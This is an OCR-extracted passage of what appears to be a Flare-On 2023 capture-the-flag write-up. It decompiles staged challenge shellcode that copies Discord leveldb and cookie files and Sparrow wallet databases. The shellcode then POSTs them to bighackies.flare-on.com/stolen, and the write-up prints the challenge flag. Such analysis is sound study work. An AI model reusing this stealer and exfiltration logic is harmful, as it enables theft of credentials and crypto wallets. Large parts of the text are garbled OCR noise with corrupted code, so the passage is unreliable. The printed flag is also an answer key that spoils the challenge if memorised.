¥ " 4w L xshellcodet . s " *! 1 s _ sHellcodgt . s " * _ss._ ¥~

int v@; f/ eax

[rbp-2@8h]

ek_resolve_function_table(&functions_hashes, &
encrypted_buffer_size = @x2BAB;
ptr_encrypted_buffer = encrypted_buffer;

vid = ek_shellcode_main();
global_function_table.ExitProcess{v@);

JUMPOUT (loc_A3Y;

skellcode maims ~ 1 xS A1x"y_huffer: ~ | ¥ 1 1x""x

~A >
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¥ 1o WP xss

num_files found = @;
global_function_table.ExpandEnvironmentstringsA("¥APPDATAR\\Discord\\Local Storage\\leveldb”, &str_leveldb_path, 256);
ek_sprintf(str_ldb_path, "¥s\\*.ldb", v1);
find_handle = global function_table.FindFirstFileA(str_ldb_path, FindFileData);
if ( find_handle == -1 )
return @i64;
do

ek_sprintf(str_ldb_file_path, "¥s\\¥s", &

if ( ek_is_file_contains_string(str_ldb_

_leveldb_path);
le_path, "dQwdwIkgXcQ") )

ek_sprintf(viz, "¥s\\Es", v4);
glebal function_table.CopyFileA(str_ldb_file path, v12, @);
+Hnum_files_found;

b

while { global_function_table.FindNextFileA(find handle, FindFileData) );
global_function_table.FindClose(find_handle);
if ( num_files_found <=6 )
return @ig4;
global_function_table.ExpandEnvironmentStringsA("¥APPDATAR\\Discord\\Network\\Cookies"”, str_cockies_path, 256);
ies_file_handle = ek_CreateFileA(str_coockies_path, @x8eaeesee);
e_handle_ = cookies_file_handle;
_file_handle >= @ )

ek_ReadFile(cook
ek_CloseHandle(c
ek_rc4_set_key(rc4_state, rcd key, @x18ui6bd);
ek_rc4_decrypt(rc4_state, ptr_encrypted_buffer, encrypted_buffer_size);
v7 = ek_memcmp(ptr_encrypted_buffer, "the decryption of this bleb was successful™, ex2Auisd);
if ( w7 )

JUMPOUT(__C5_ , ptr_encrypted_buffer + 42);
return @ig4;

ile_handle, rc4_key, @x18i64);
s_file_handle_});

return @i64;
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s ., " s ¢
h » AppData » Roaming » Discord » Local Storage » leveldb
~
Mame Date modified Type Size
D flare.ldb 11/3/2023 12:05 PM LDE File TKB
M C:\Users\John\AppDatatRoaming'\Discord'\Local Storage\leveldb\flare.ldb - Notepad++ — O >
File Edit 5earch View Encoding Language Settings Toocls Macre Run  Plugins  Window 7 X
5 = =l - = »
cEHEHBR LAl smb|loeiay ax BRE(1EEERa ®|
B Cookies £ [= flare Idb E:Il 1
1 hello dOwdw9WgXcQ goodbye
length: 23 lines: 1 Ln:1 Col:26 Sel:0|0 Windows (CRLF)  UTF-8 INS
¥ sauerbraten.exe - PID: 1588 - Thread: 25CC - x64dbg [Elevated] — O >
File Wiew Debug Trace Plugine Favourites Options Help Apr 29 2019
C9E S0 Y 9§ taullo S i#| A B @
B cru & Graph | #log [ Notes ® Breskpoint: ™ Memory Map [ Call Stack =@ SEH Lo saript ] symbals <> sdlrte
# | 00000D1BCFCIZLET D movsxd r&,dword ptr ds:[rax] ~ || Hide FPU
# | 0DDDDLBCFCIZ16FC Tea rax,qword ptr ds:[1B8C7C921
@ | 00DDD1BCFC921683 mov_rdx,qword ptr ds:[rax]
e (| ooooo18CTCO21686 E8 GFF3FFFF call 18C7c9209FA Eg ggggg;gﬁ;ggg;gg? List
e || ooooo18CFCo2168E 48:8D05 AFZDO0O0 lea rax,qword ptr ds:[18C7C924 Rex oSN
® | 00000LBCFCI21692 458:8010 1ea rdx,qword ptr ds:[rax] : . - “th
® | 0000018C7C921695 48: 8005 DEOOOOOO lea rax,qword ptr ds:[18C7C921 D thsg
® || 00D001BCTCIZ169C 48:8B08 mov rcx,qword ptr ds:[rax] RBP  OOODODLEF45FFEGD .
#|( 00D001BC7CI2169F GA 2A push 2a BSE  0QODOODOLEF45FF3F0 C:
® | 00000D18CTCO216A1 41:58 pop r& RSI  0000018C7B9BDAGD
RIP g 1 ES 1A000000 call 18C7C39216C2 RDI  0OD00L18CFCI24435 " dgw
® [ 0000018C7CI216AS 83F8 00 cmp eax,0
r----#| 00D00LBCTFCI2L6AB| ~ 74 05 je 18CFC9216B82 RS 000000000000002A Tt
L +——e | 0000018C7C92164D | ~ E9 77FFFFFF jmp 18C7C921629 R3 AON0A0] EEAEEEAS ||
L--5e| 0DDDOLBCTCI21EE2 48:8D05 C1000000 Tea rax,qword ptr ds:[18C7C921 ]
@ | 0000018CTCI216EY mov rax,qword ptr ds:[rax]
| oooooascrcoz16BC 48:83C0 2A add rax,za Default (x64 fastcal) ~ EIDU”bd‘Ed
e || poooD18CFCO216C0| v FFED jmp rax 1: rcx 0O00DDO18C7C921883
® (| ooooo1scFC9216C2 55 push rbp 2: rdx 000DOL8C7C924441 "the de
® (| 0000D18C7CI216C3 48:8BEC mov rbp,rsp v [ 3: rs 000000000000002A
o . - : o 4: r9 O000DDOLEF45FFASS L
" : C73726573555C3A43
Woump1  Woump2  @Woump3  Woump4  Wioumps @ watch1  Deeliocals 4P GOONNG et e SRS BT 0415C 6E 6BGFAASC
B e FE= s TP | ] b o= e
0000018C7C921883 |74 68 65 20 65 72 70 74 6F 6E 20 &F |Lhe decryption o o le
2 2 2z = - O000001EF45FF410 [E6F4C5CE64726F6373
0000018C7C921893 (66 20 74 &8 73 62 GF 62 77 61 73 20(T this blob was T TR R | R e e T
0000018C7CI218A3 (73 75 63 63 73 3 6C 48 C4 08 48 83|successFuTH.AH. 0000D0D1EF45 FE420 [C65 7 6656C5CE567 61
0000018CTCI21883 [E4 FO 48 83 o8 1) 48 &D 24 E8 48 8B|adH.7.H.1H.d$eH. Sale
7 ' : 0000001EF45FF423 [E0000001E0D62646C
0000018C7C9218C3 (DY 48 8D 05 OE 0o 89 45 48 8D 05 B7 | UH..J.. =5
- 0000001EF45FF420 [E000D00LEF45FF7 30
0000018C7CI218D3 |OE 00 00 48 45 GA 8F 45 48 8D 05 BF|. -
0000001EF45FF428 [E000D00LEF45FFARS
0000018C7C9218E3 |0OE 00 00 48 08 a0 ES E3 03 00 00 48|. £
o Tscscas Tscql lsoRo=RzcRaE o e o e 6 1 GE of 0000001EF45FF440 [EG00D00LEF45FF4CE
................ 52002 osn iR pred - et a2 SN N2 28 0000001EF45FF443 [EDD0DDOLEF45FF4EQ Y
< < >
Command:| |De1’ault A
Paused | Dump: 0000018C7C921883 -+ D000018C7CI21883 (0x00000001 bytes) | Time Wasted Debugging: 1:00:59:51

b XX X 4G 4 NOHRBAS L ! X ¥ X buffetm memory dump, « 1% 7 . 18X X
skellcode3.bin
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%hellcode maid 1 « « " X" ssy * © ¥ « ghellcode x> 4 % |

num_files found = @;
global function_table.ExpandEnvironmentStringsA("¥APPDATAX\\Sparrow\\wallets", st
ek_sprintf(str_db, "¥s\\*.db", v1);
wallet db file handle = global function_table.FindFirstFileA(str db, &FindFileData);
if ( wallet_db_file_handle == -1 )

return @ie4;
do

ek_sprintf(&str wallet db_path, "#s\\¥s", str
ek_sprintf(&str _c de*c:_-’i_e path, "¥s\\¥s", str H
global function_table.CopyFileA(&=tr wallet db pat hJ &str_c_depot_file path, @);
++num_files_found;

ek strcpy('-_' wallet _file name, FindFileData.cFileName);

}
while { global_ function_table.FindNextFileA(wallet_db_file_handle, &FindFileData)} );
global function_table.FindClose(wallet db file handle);
if ( num_files_found <= @ )
return @ied;

>

r_wallets path, 256);

global function_table.ExpandEnvirenmentStringsA("%APPDATAR\\Sparrow\\config”, str_config path, 256);

config file_handle = ek_CreateFileA(str_config_path, 8x30600000);
if ( !config_file handle )
return @i64;
config size = global function_table.GetFileSize(config file handle, @);
if ( !config_size )
return @ied;

LODWORD(config content) = ek_AllocateHeap(config size);

ek ReadFlle('“n-'g file_handle, config_content, “n""g size);
vll = Ek strstr_string(config content, str_wallet file name);
i ( 1vil )

r'etur'n 2i64;
vl2 = ek_strstr_char_reverse(vll, "[', config_content});
i ( 1vi2 )

return @ied;
v13 = ek_strstr_char_reverse(vlz,

» config content);

if ( !viz )

return @i64;
str_recentWalletFiles = ek_strstr_char_reverse(vl3 - 1, '"', config_content);
if ( Istr_recentWalletFiles )

return 6164

ek_rc4 set_key(&rc4 state, str_recentWalletFiles + 1, 17i64);

ek_rcd_decrypt(&-c4 state, ptr_encrypted_buffer, encrypted_buffer_size);

if ( 'ek_memcmp(ptr_encrypted buffer, "the decrypticon of this blob was successful”,
JUMPOUT(__CS__, ptr_encrypted_buffer + 42);

ek_CloseHandle(config file handle);

ek_FreeHeap(config_content});

return 1i64;

Bx28uisd) )

S T e db, XX Te 41 d «Sparrowd 1 1 448 40 18 & X
174 v X configt | * XX 1 ~ ., xCAdepotim | * X w8 «
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. ”
S .,
» John » AppData » Roaming » Sparrow > wallets
~
Name Date modified Type Size
= T
e rywallet.mv.db 3 2:40 PM Data Base File 20 KB
s @' C\Users\John\AppData\Roamin, config - Moteg + — O X
ts File Edit Search View Encoding Language Settings Tools Macre Run  Plugins indow 7 X
=1 ([ T =
cHHRR LB shbh/oewy| x| BEISTEERe® IENNE
Eiconﬁgml i
17 "showDeprecatedImportExport”: false, ~
18 "signBsmsExports™: false,
. 19 n "
isper | +° preventSleep : false,
20 "recentWalletFiles": [
21 "C:\\Users\\John\\AppData\\Roaming\\Sparrow\\wallets\\mywallet.mv.db"
22 1.
¥ sauerbraten.exe - PID: 1588 - Thread: 25CC - x64dbg [Elevated] — O x
File WView Debug Trace Flugins Favourites Options Help Apr 232015
29 E 0 vt 9§ tul 2@ fie aB B
& cru & Graph | Llog [ Motes ® Breakpoints ™ MemoryMap [ Call Stack =@ SEH |0 seript %] Symbols <% Source SRk
# [ 0DOD0O18CTCI22 48: 8B10 mov_rdx,qword ptr ds:[rax] ~| Hide FPU
e | ooooo1scrcazz E8 BZF2FFFF €all 18c7c921930
e | ooooo1scrcazz 481 8D05 AEQL0000 lea rax,qword ptr ds:[18C7C922833] p 22
# || DODDO18CTCI22 48: 8D10 lea rdx,qword ptr ds:[rax] % gggggigﬁ;ﬁssggg
e | ooooo1scrcazz 481 8D05 9E0DODOD lea rax,qword ptr ds:[18C7C92272D] RCx ORI e
# || DODDO18CTCI22 48: BBOS mov rcx,qwur‘d ptr ds:[rax]
¢ || ooono1scrcezzeaz 6A 2A push z BRI T an T EnaF RS
¢ | oooooiscrcozzeas 41:58 pop rs8 REP  OOOOOOLEF45FF3AS
¢ 00DD018C7CI22696 ES 2E000000 €alll 18C7CI226C9 RSP DOOOOOLEF4SFEB40
e | ooooo1scrcazz 83F8 00 cmp eax, 0 RSI  00000000000005DC
----e | 0DDDO18C7C92269E| ~ 74 02 je 1ac7CazzeAz RDI  0000000000000400
———e | ooooo1scrcozzeAn| v EB 10 jmp 18C7C9226B2
L-->e | 0000018CTCI226A2 481 8D05 84000000 lea rax,qword ptr ds:[18C7C92272D] m
# || 0DD0D0O18CTCI226A9 48: BBOO mov rax,qword ptr ds:[rax]
. 5 22 48:83C0 ZA add rax,za Default (x64 fastcall) ~ E“:‘ Unlocked
~rFFEQ jmplFax 1: rcx ODDDOL8CTCI22B5E
L ——e [ 000001BC7C922 8BCE mov_ecx,esi 3: rdx DDOODLBCFC922833 “the de|
# | voooo1acrcazz684 E8 13FAFFFF call 1sC7c9zzonz v|3: rs 00000D000D0D0OZA
o nrnnniorzrasscoa ao.omro e e :
< 3 4: r3 0000000000000029 Ll
5 E73726573555C3443
’ ! ? ? i - )
WYoump1  WWoump2  WhDump3  WWDump4  Woumps @@ watch1  beellocals ) Struct  [Go00001ERdsEERt 5 [E70415CEEBEEAATC
addi 0000001EF45FEES0 [E6F525C617 4614470
L e —_—— _lasarr |~ noo01cracress s [E708 35CET 6EEIEDEL
0D0D0018C7C92285E |74 68 65 20|64 65 63 72|79 70 74 69|6F GE 20 6F |ELhe decryption o OONONIEE At EERen [EE17TECTTEFT 2200
000DD018C7C92286E | 66 20 74 68(69 73 20 62 |6C 6F 62 73 20|T this blob was OOO00IEE At FERe s [EODNO00T ST 465 60 6
0000018C7CI2287E(73 75 63 63|65 73 73 66|75 6C 48 83(C4 0B 48 83|SuUCCESSTUTH.A.H. PTERIEE L E 5 COCDOE G an s Ea WAz
0000018C7C92288E | E4 FO 48 83|EC 08 48 8B|EC 48 8D 64|24 DB 48 8D|&DH.1.H.1H.d3$@H. PRI L E o [Son00E oot o0
0000018C7C92289E| 05 3C OC 00|00 48 89 45 |D8 48 8D 05|81 OC 00 0O D0ODO01EF 45 FERED | ODODOLECTREEEEZD
0000018C7C9228AE| 48 89 45 EO(48 8D 05 86|0C 00 00 48(89 45 EB G6A 0000001EF 45 FEEEE | DDOO0007 DFAEECED
0000018C7CI228BE |00 8F 45 FO|48 8D 05 AE|0C 00 00 48|8D 08 48 8D ¥ | ononnniee seccoan| naananameonacenee |V
” X . ” . b3
s XXX 0 AN v @ OXIBCCX L Pex ¥ s bufferm memory dumps | %3
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%hellcode_main 1 « « " X7y ss |

ek_merge_directory_into_file("C:\\depot™, "C:\\depot\\output™);
output_file_handle = ek _CreateFileA("C: \\depot\\output" axBaeaenna) ;
if ( (out pu—_-:_e_hand = & Bx3o0oeea8) != 0 )

return 8i6d;
v3 = global function_table.GetFileSize(cutput file handle, @);
output_file size = v3;
if (w3 )

return Bi64;
LODWORD(output_file content) = ek _HeapAlloc{v3};

bytes _read = ek_ReadFile(output_file handle, output_file_ content, output_file size);
sub_1C3(output_file_handle);
if ( bytes_read != output_file size }
return @i64;
vB = global function_table.InternetOpenA("bananabot Seee”, 1, @, @, @, "bananabot 5888");
if (va )
1
LO'.iORD( @) = 443;
vll global function_table.InternetConnectA(vE, "bighackies.flare-on.com™, vo, @, @, 3, @, @);
if ( vii )
{
v = global function_table.HttpOpenRequestA(v1l, "POST", "/stolen™, @, @, @, @x500000, @);
if ( vi3 )
{
15 global function_table.HttSendRequestA(
vl3,
"Content-Type: application/octet-stream\rin”,
-1,
output
output_ file size,
"Content-Type: application/octet-stream\rin™);
if ( vis )

1f { (global function_table.HttpQueryInfolA)(vl3, @x2eeee8e5ie4, &http response_size, &v25, @ie4, v1s) )

vib = @8;
LODWORD (http response) = ek_HeapAlloc(1824);
do

if ( !({global_function_table.InternetReadFile)(v13, http response, 7i64, &v2E) )

global_function_table.InternetCleseHandle(:
global_function_table.InternetCloseHandle
global_function_table.InternetCloseHandle(va
ek_HeapFree(output_file_ content);

return @ib64;

}

¥

while ( v26 );
global - funct1on _table.InternetCloseHandle( _3),
global function_table.InternetCloseHandle(
global function_table. InternetcloseHandle( r8);
= ek_crc32(output 1
= ek_cre32((outpu
ek_crc32((outpu
Ek . crc32( {outpu

== *http_res

e content + 1), out pu-
e_content + 2}, out
e_content + 3}, out

(R
2 @O m

ek_HeapFree(output_file_ content);
ek_HeapFree(http_|
xor_key = @x1234567 * http_response_size;
for ( 1 = @; 1 ¢ encrypted_buffer_size / 4; ++i )
ptr_encrypted_buffer[i] ~= xor_key;
if ( 'ek_memcmp(ptr_encrypted_buffer, "the decryption of this bleob was successful™, @x2Auis4) )
JUMPOUT(__CS_ , ptr_encrypted_buffer + 42);
result = @i64;

Foeoxil T 3k xS (Chdepots 4w K W X b Xusfsel x4 oo} s,

HTTP POST x - % J L Xobtput , * X W BXx <l « . x {3 |, Tvaputr _* T+ *x

lgghackies.flareon.com/stolerh: * x ‘Request

Flae-On 2023
www.DigitalWhisper.co.il
oo H e ~ XI5A° x { | ¥




Technologic

L _CRC32 X o XX 8 %3 HTTR N N N R ”
X, X X0 s sp o« HPTHR «BOx XXX 0 p g D 8 woutput L I xS ]
L RC4 T T g s flow | 1S e a7 3B I8 X (P NT s L s
oo, HITR - w8 0x x> ok g X s Lo 4 xs T J]sis r@bating xor
1. sthebbr s+ 1 17 + &7 p 2 v 1 A XHSS X x X 0gl234567
OsB2513E04 s+ 1 " x p 4 = s C s 1« BX20656874 X+ Sk 4~ 4 .S
x 1Is{LHTTHR < BXx Jusx oo x Q2345670 4 L4 14 7L _Xxom® i o. L X
® {1 ‘0X10
LS~ vexd v M A0 ¢ & A IS xi AX? XX HTTRE » - X ¢ K | X
1. 144 xqripe 1, 1 ¥s.” & shellcoder s « 1 ] x % xp 4 { AHETTR - x X«
1. B _S«d.~3%+ & X314 10xB70 offseit HeapFrem s " X » B«

YOx10:-

X {edxd

~ 6AX~

1 ¥ htip_response_size

% sauerbraten.exe - PID: 1588 - Thread: 25CC - x64dbg [Elevated] — O *
File View Debug Trace Plugins Favourites Options Help Apr 23 2019
SO E =20 Y g tall 29 s EBES
B cru @ Graph | Log | Motes ® PBreakpoints ™ MemoryMap [/ Call Stack =% SEH || seript ] Symbals <2 Source & Ref=rl
#|[0DD0018C7CI233CE 49: BBCE mov rcx,rid o :
. 9233C9 ES DOFSFFFF €all 18(7C922C9E Hide FPU
. E B9 67452301 MoV ecx,l234567 ]
. 3 8B45 FO mov eax:dwor‘d ptr ss:[irbp-10§ % gggggigg?ggggg;g e:
|E——+ £ 3 F7EL mul ecx )
. 8 44:8BCE mov rod,eax BLX  00000D0001234567 .
¢ | oooooiscrca B 45:33C0 xor rad,rad ERX  0DD001BC7C924338 G:
0000018C7C9 E| ~ EB 2F jmp 18C7C92340F RBP  ODOODO1EF45FEADD
---»# | 00DDOLBCTCD 48:8BC2 mov rax,rdx r RSP ODOODO1EF45FEECO
| 00D0O1BCTCY 481 83C0 OC add rax,c RSI  000000000000050DC L3
| 000D0D18CTCY BBOO mcrv eax,dword ptr ds:[rax] RDI 00000000000004D0 L'&"
| oooooiscrcs 44:3BCO rad,eax
0000018C7Co ~ T4 DO je 18{?{92333E RE O000FFFFL11E253D0 ntdl
5000016¢ 75 © 5 Gace e e [22, 9900000000000018
8 H 5
| oooooiscrcs 3 48:83C0 08 add rax,s 212 gggg;g;g;i;ggg?: oy
e | 0000018CTCO 7 BBOD mov eax,dword ptr ds:[rax] R12 00000180 7C92442C ey
| 00D0O1BCTCY El 3BF8 cmp edi,eax :
----e|| oonoo1sc7ca B| ~ 74 E3 je 18C7C9233E0 R13  0000000000000000
0000018C7C9 o| ~ EB B2 jmp 18C7C9233B1 R14  0000000000000000
® || 000001BCTCI233FF 481 BBCA mov rcx,rdx r R15  0000000000000000
e | 0000018C7C 323302 48:83C1 04 add reox, 4
¢ | cooooiscrcazz406 8BOL mov eax,dword ptr ds:[rox] RIP  0000018C7C9233D6
¢ | 0oDOO1BCTC 923408 441 3BE0 cmp ria2d,eax
------ e | 000001BCTC92340B| ~ 74 E3 je 18C7C9233F0
00D001BCTCI2340D| ~ EB A2 Jmp 18C7C3233B1 i
” il ” -
10«3 %@ 17 xq 1 OxDA8T memory dump® xs T 7 oxls s o 4L S|
X = Ly H ” X
L _xss & +« 7 lIx xlencrypted buffen s ~ IV . | dShellcode5.bin « x_"Xsx
~ ~ ~ ~ °
Y ox .
vold ek_shellcode_start()
int ve; // eax
inte4 vl; // [rsp+8h] [rbp-18h]
ek_resolve function_ table(&functions_hashes, &v1);

vl
Wil

JUM

POUT (loc_82);

ek_shellcode_main();
global function_table.ExitProcess(v@

i
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LTechnoloagic

%hellcode_main 1 « « " X7y ss |

module_handle = global function_table.GetModuleHandleA(®);
if ( ek_memcmp(module handle + @x2A58C@, "spcr”, 4uied) )
return 8i6d4;
if { !module_handle[@8x2A58C4] )
return @ie4;
ek_sprintf(&str_spcr2_cfg, "¥X¥PROGRAMFILES(X86)%¥\\Sauerbraten\\packages\\base\\¥%s.cfg"};
global_function_table. ExpandEnv1ronment5tr1ngsn(&'-' spcr2_cfg, str_spcr2_cfg_path, 1624};
::n-'g_-:_e_hand e = ek CreateF1lEA('-’ spcr2_cfg path, 8x36000008);
config_file_handle_ = config_file_handle;
if { (config file handle & @xcocapaea) != @ )
return @i6d;
if { ek _ReadFile(config file handle, config first 4 bytes, 4ied) != 4 )
return @i6d;
ek_SetFilePointer(config file handle_, @x51lie4, @);
if { ek_ReadFile{config file handle , str_flag, 8i64) != 8 )
return @i6d;
ek_CloseHandle(config file handle_);
str_flag[8] = module_handle[@x38EE];
str_flag[9] = @;
game: :playerl = *(module handle + @x54AEG};
if { *(*(module_handle + Bx54AE6) + 8x238i64) != 1337 )
return @ie4;
w1l = *config_first_4_bytes " @x4203126C;

str_flag[?9] = fi t 4 bytes[@] ~ éxC;
str_flag[18] = {(*config 4 bytes ~ 8x120C) & OxFFB@) >> 8;
str_flag[11] = (({*config_ 4 bytes  Bx42083120C) & @xFFo@@eu) >> 16;
str_flag[l2] = {(*config first 4 bytes * @x4203126C) & OxFFee0e0d) >> 24;
str_flag[13] = @;
if ( *(game::playerl + 584) != 1337 )

return 8ied;
vll = *config first 4 L--e: A @x1715151E;

gmemcpy (&str -'ag[13]J & 11, 4uisd);
str_flag[17] = @;
if { *{module_handle + @xA95DF) > 30000 )
return 8ig4;
v1ll = *config_first_4 bytes * @6x15040232;
gmemcpy (&str -'ag[l?]J & 11, 4uisd);
str_flag[21] = @;
if { *{module_handle + @xA96BG) )
return @i6d;
w12 = *(module handle + @xBA514) ~ @x32061E1A;
gmemcpy (&str_ —_ag[zl]J &v12, 4uisd);

str_flag[25] =

if { ek crc32('-'_ lag, @x19uigd) != BxAS561586 )
return 8i64;

LODWORD(vS) = ek HeapAlloc(128);

vE = v5;

ek_strcpy(vs, "The flag is: ");

ek_strcat(ve, str_flag);

ek_strecat(ve, "flare-on.com' B H
return global function_table.ExitProcess(@);

Pl 0 r i e X x DX P x X s o ]y B s s T x sgielicdde”

sptf s o1 XTI x T s s s apd 8% SpTXT xe as, s (L

~ v > v~

. Spcr-* LA T2 s pxd ixxe]* 0o x 4 s 14 .. s s

> v
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Y1 .S % 1077 s H - s L

P~ 505 o

' Cube 2: Sauerbraten

L ~

I x4 FL spifse

1

naps

* simplicity.
* skrdm1

* skycastle-r
* slingshot
* souls

* stahlbox
* stemple
* stronghold
* suburb

* suisei

* tartech

* teahupoo
* tejen

* thetowers
* thor

* torment

1 ossox{ L sy

capture

* [toxicity
* tumwalk
* turbine
* turmoil
* unworld
* unworld2
* \ventania
* \waltz

* 'wake5

* 'wdcd

* izamak

* zavial

* lzdm2
clrztin

(IR CIR- G [ T [ S S NN I
X _a0% ise 11 A aBate 4 diellcodet Lt X o 41X X

X {Tsx, ) P& KoxsoT sEE 4

:S\-|-+YXX|"-|"\-

v{s! débugt * " |

~ A~

busy loopt ~ ~ #+ 41 ¥ 1" 1 threadrt s 1. ] 1 17 Isxi
R T I P

.I

., 8 X s

x "1 s SR T ¢ T P2

~ >~

o H AL fmp¥ - ! x (breakpoint ~ 1 ! %64db

LAY L]y x X ]y

"XS“L>\-$ NI P S

Ahileads * + S _sL
¢ xS T T

S | X F

[
—_
—_

%]

> ~

~

c A ¥dss  g¥sx o s configt | X XA X pd s s v X Ao T xS
X7 D s X R DSy 43X g R XS Tl XA T G Fes ) X
XXX L S ] A TS s X XS {0 LS Is s XX ] 3] x] L si x ¥ 4i.,X9 S«
ot X T AT IXT S S IO XX OT
{1zeroflage @ «S 7 _U% § B o x X So X Iy P X Py liselox T
s 7YXyl s g4 x x zeroflagt * ¢ X " e 4B Pl flowvtt 1 1 s 1.7 x s
OPAS561586 * *Swvp Xi s x X CRCB2 {:1* _ B 1« « *® x ¢ *
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- S x heapss L, . X7 s 14

38 sauerbraten.exe - PID: 1588 - Thread: 25CC - x64dbg [Elevated] - O x
File View Debug Trace Flugins Favourites Options Help Apr 29 2019
OE =i | {aef tali=slin L EHY
B cru ? Graph |+ Log |1 Motes ® preakpoints ¥ MemoryMap  [)) Call Stack =@ SEH [o] seript %] symbols <7 Source > References  1'®
| D000018C 7C 324208 89 50000000 mov_ecx, 80 | Hide FPU
e[ oooooiacrcaz4zia £8 OCFDFFFF call éaﬂcsans
o[ oooooiscrcaz4zis 48; 8808 mov rbx,rax 2 .. .
o (| noooo1scrcez42i1c 4818005 35010000 Tea rax,qword ptr ds:[18€7€924358] Eﬁ gggggigﬁg:ggg;gg "m: H:g :z Eg
# | 00D0018C7C924223 48: 8010 lea rdx,qword ptr ds:[rax] -
| ooooo1scrcazazze 48: BECE mov_rcx,rbx o) GELELLLILLILIELE . .
o[ oooooiacrcaz4229 E8 2CFAFFFF call 18C7C923C5A R 0N LG 632 36 e Tlare-on. com
. d 48: 8095 FOF3FFFF Tea rdx,qword ptr ss:[[rbp-c2o] REF  OO0D0OLEF4SFEETO
. 48 8BCE mov rex, rbx RSP OOO0DOLEF4SFDSEQ
o (| ooDDO1ECTC 924 £8 EFFIFFFF call 18c7cazaczc RSI  OOO0D0LEF45FEGEC
o| 0oooo1ac7Co24230 48:8005 22010000 lea rax,qword ptr ds:[L ac75924355] RDI ~ OOOODOLEF4SFDIFI
& 00DO0LBCTCI24244 48: 8010 lea rdx,qword ptr ds:[rax]
o[ ooooo1acrcazazar 481 88CE mov_rcx,rbx RS 0000018CO3CEDZEG "Flare-on. com”
| * |[D0000LaCTC 23258 EgchF‘)FFFF :::1eéic25323c2c R9 0D00000000000040 @
g B as
o [ D0D0OIEC 7C 924251 48:8D6424 EO lea rsp,qword ptr ss:[rf 20 Eii Egggggggsggg?;;? =T
o (| noooo1CTC 924256 4818015 4C000000 lea rdx,qword ptr [mloseHanﬂe:v] RN e e e e s
o (| nooooiscrcaz4zsp EF52 10 €all gword ptr ds.[rdx 10] .
|| noooo18c7Co24260 48:83C4 20 add rsp,20 R13  0000000000000000
|| 0000018C7CI24264 c9 Teave R14  0000000000000000
®| DODDOLBCTCIZ4265 41:5C pop riz2 R15 0000000000000000
o[ oooooiscrcaz4zer S5F pop rdi
# | 0oooo18c7C924 SE pop rsi RIP  0000DLSCTCI2424F
# | 000 SB pup rox [
o ooo c3 h . ]
»|| ooooo1scrcazazen 55 ush r
o | nooo018C7C92426C 18: 8BEC rpnov rbpprsp Default (x4 fastcal) h EIDU""“*EC'
# | noooo1acrcazazer 4513308 xor riid,riid 1: rcx 00000000000DDODD
#|( 00D0018CTCI24 49:63C3 movsxd rax,rlld 2: rdx 0000018C7C924366 "flare-on.com"
® (| 00000LECT 49:3BCO €mp rax,rs w [ 3: r8 0000018BCO3CEOZE6 "flare-on.c"
el e eI 5 4: rs 0000000000000040 L
2 |
a C00007 FEEFEID0000| Sausr
Woump1  @4pump2  WWDump3  @MDump4  @houmps @ watch1  e-llocals 7 Stuct DOOD0OTES 55F05E & [ED00D7 FFGFBC758CD| "sper '
R Hex ASCIT | 20000012545 705 20 [EDD0D001E000D007 &
00DDDISCOICEDZCD |54 68 65 20 3A[20 63 GF 6D|The flag is: com e
0000018C0O3CED200|70 75 74 65 74|65 64 SF 63|puter_assisted_c ODDOTTEL A L nienn Eo0h0s CEEGD000E00
00D0018CO3CEDZED| 74 66 69 6E 2D|6F 6E 2E 63|Tfingeflare-on.c ODDTE L PO e EOID AL EEEEZAESE
0000018COICEDZFO S0 04 00 opjo 00(00 00 00 DOJOM.Z...vvnnxrnns 0000001EF45FDE18 [CO1DAOFEFBEETD3A
0000018C03CE0300 |20 93 &F SC 01 00 00|00 1D 47 3E|00 00 00 00|p._Z.vuu. o Gieurn T e | e

Y x; sy | s

computer_asslsted_ctfing@flaren.com

FlareOn 2023
www.DigitalWhisper.co.il
oT H e ~ XI5A° x { | ¥




Technologic

where_am imp~ ¥ - -~

| wish we had more easy challenges for you this year for you to rack up your personal high score.

Li 62df RyQi KStL) 82dz AYLINRGS odzi Al ¢2dAf R FSSt 3

@vhere_am_i.exe * X« 4 L & ¥ X«

Jd s s, x4 17744s4 % X1 8 4+ % .1 ‘Procmomt = _ ¢ % Xi+% {4 4 ]

v o~

1T - «L 1 1 MessageBox | _is, ¥ 4. 1 - Eeplorer.exd 1 L s ~.5 « whére_am_i.exe

o >

Y * xi«_path

&F Process Menitor - Sysinternals: www.sysinternals.com — O *
File Edit Event Filter Tools Options Help

E2H ABRE YAS B A8 A6 000

Time ... Process Name PID  Operation Path
11:59... —where_am_iexe 3592 LF Process Start
11:59:.. where_am_iexe 3592 &F Process Create C:\Windows  SysWOWE4 \Explorer exe

FLARE-OM 10: where_arm_i? *

Chwhere_am_i'\where_am_i.exe

£ >

Showing 2 of 398,306 events (0.00030%) Backed by virtual memory

X 4 wdLWEIMaN: 1 _~S$ .« iXe Bl DA PraE | X x LSy {1 x ]
CHHE S X 1 IMEC 4 7 LxXixXs 7 DX, (Tos 4 . "X s

~ >
int _ stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{

int va; // ebx

struct CWinThread *v5; // esi

int v6; // edi

int v7; // eax

_DWORD *savedregs; // [esp+@h] [ebp+eh]

savedregs = &savedregs;

-1;

AfxGetThread();

*(AfxeetModuleState() + 1);

AfxinInit(hInstance, hPrevInstance, lpCmdlLine, nShowCmd) && (!wvé || (*(*v6 + 144))(vB)) )

A onmn

€ (=5 + 80)(v5) )

V7 = (*(*vs + 84))(v5);

else

if (*(vs +8) )
(*(**(v5 + 8) + 96))();
V7 = (*(*us + 184))(v5);

¥

vd = v7;
AfwWinTerm();
return vi;

1
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https://learn.microsoft.com/en-us/cpp/mfc/mfc-desktop-applications?view=msvc-170

Technologic

ST e nd | E Ak s T T T TWIRMaiE S - s 5 4 19, XTO s s

r 1 1 XXeateProcessA | WinMain . _breakpointr 1 ~ {1 x¥2dbgt . * x « s¢ 4 1 x |
1t _ breakpointt 1 ” CreateProcessf _ breakpointt ~ « X X s|3 | sS4 . 4 . ]

v o~ ~

WBnMaind 7 _ a4 X Ml " K xxge.d X sTasL flowrt x s . { % \ibdMain

cX 4 o« XX {pstep over, XXX X x X oo L,Tsd T xS foux o ]

sH XY SsHL AT x ys 8L omx preakpointt ~ ] 4 L S SSpe TS XX

Y xflowrt s 0 8 0« K4 v 1A v dX
tmainCRT Startup> setargw> initmbctable-> setmbcp> setmbcpnolock-> sub_448650

¥ Ao K s b x s S5 flowrt D« .~ Sub_448656 1 . « " x s

v

resource_buffer = 8;
